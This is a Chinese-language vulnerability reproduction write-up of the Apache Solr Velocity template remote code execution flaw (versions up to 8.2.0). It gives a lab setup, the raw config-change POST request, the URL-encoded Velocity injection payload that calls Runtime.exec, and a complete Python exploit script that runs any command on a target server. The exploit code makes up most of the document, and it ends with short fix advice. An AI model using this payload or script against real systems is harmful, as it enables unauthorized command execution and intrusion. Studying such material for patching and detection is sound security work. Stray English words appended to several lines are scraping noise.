【漏洞復現】Apache Solr via Velocity template遠程代碼執行

0x01 概述

Solr簡介

Apache Solr 是一個開源的企業級搜索服務器。Solr 使用 Java 語言開發,主要基於 HTTP 和 Apache Lucene 實現。Apache Solr 中存儲的資源是以 Document 爲對象進行存儲的。它對外提供相似於Web-service的API接口。用戶能夠經過http請求,向搜索引擎服務器提交必定格式的XML文件,生成索引;也能夠經過Http Get操做提出查找請求,並獲得XML格式的返回結果。java

漏洞概述

Apache Solr基於Velocity模板存在遠程命令執行漏洞。該漏洞是因爲Velocity模板存在注入所致。Apache Solr默認集成VelocityResponseWriter插件,在該插件的初始化參數中的params.resource.loader.enabled這個選項是用來控制是否容許參數資源加載器在Solr請求參數中指定模版,默認設置是false。當攻擊者能夠直接訪問Solr控制檯時,能夠經過發送相似: solr/節點名/config的POST請求對該節點的配置文件作更改,把params.resource.loader.enabled設置爲true(可加載指定資源),再構造GET請求,便可在服務器執行命令。python

影響範圍

Apache Solr <=8.2.0docker

0x02 復現過程

環境搭建

(因爲vulhub未更新對應漏洞環境,故使用vulhub中的CVE-2019-0193搭建環境)json

啓動環境bash

cd /vulhub/solr/CVE-2019-0193
docker-compose up -d

 

建立Core服務器

docker-compose exec solr bash bin/solr create_core -c test_0nth3way -d example/example-DIH/solr/db

 

搭建成功app

訪問http://ip:8983post

 

 

漏洞復現

手工驗證

(1)修改Core的配置,設置"params.resource.loader.enabled" 的值爲true搜索引擎

POST /solr/test_0nth3way/config HTTP/1.1
Host: 192.168.17.136:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

(2)遠程執行代碼url

GET /solr/test_0nth3way/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 192.168.17.136:8983

 

 Python腳本驗證

附EXP:

import requests
import json
import sys
# usage: python Apache_Solr_via_Velocity_template_RCE.py http://192.168.17.136:8983 whoami
# Apache Solr RCE via Velocity template
# Upconfig:  http://192.168.1.26:8983/solr/0nth3way/config
# ExecCmd:      0  solr

def getname(url):
    url += "/solr/admin/cores?wt=json&indexInfo=false"
    conn = requests.request("GET", url=url)
    name = "test"
    try:
        name = list(json.loads(conn.text)["status"])[0]
    except:
        pass
    return name


def upconfig(url, name):

    url += "/solr/"+name+"/config"
    print "Upconfig: ", url
    headers = {"Content-Type": "application/json"}
    post_data = """
    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }
    """
    conn = requests.request("POST", url, data=post_data, headers=headers)
    if conn.status_code != 200:
        print "Upconfig error: ", conn.status_code
        sys.exit(1)


def poc(url,cmd):
    core_name = getname(url)
    upconfig(url, core_name)
    url += "/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
    conn = requests.request("GET", url)
    print "ExecCmd: "+conn.text


if __name__ == '__main__':
    print "Apache Solr RCE via Velocity template"
    url = sys.argv[1]
    cmd = sys.argv[2]
    poc(url,cmd)

 

0x03 修復建議

(1)建議對Solr作訪問限制

(2)升級Solr

相關文章
相關標籤/搜索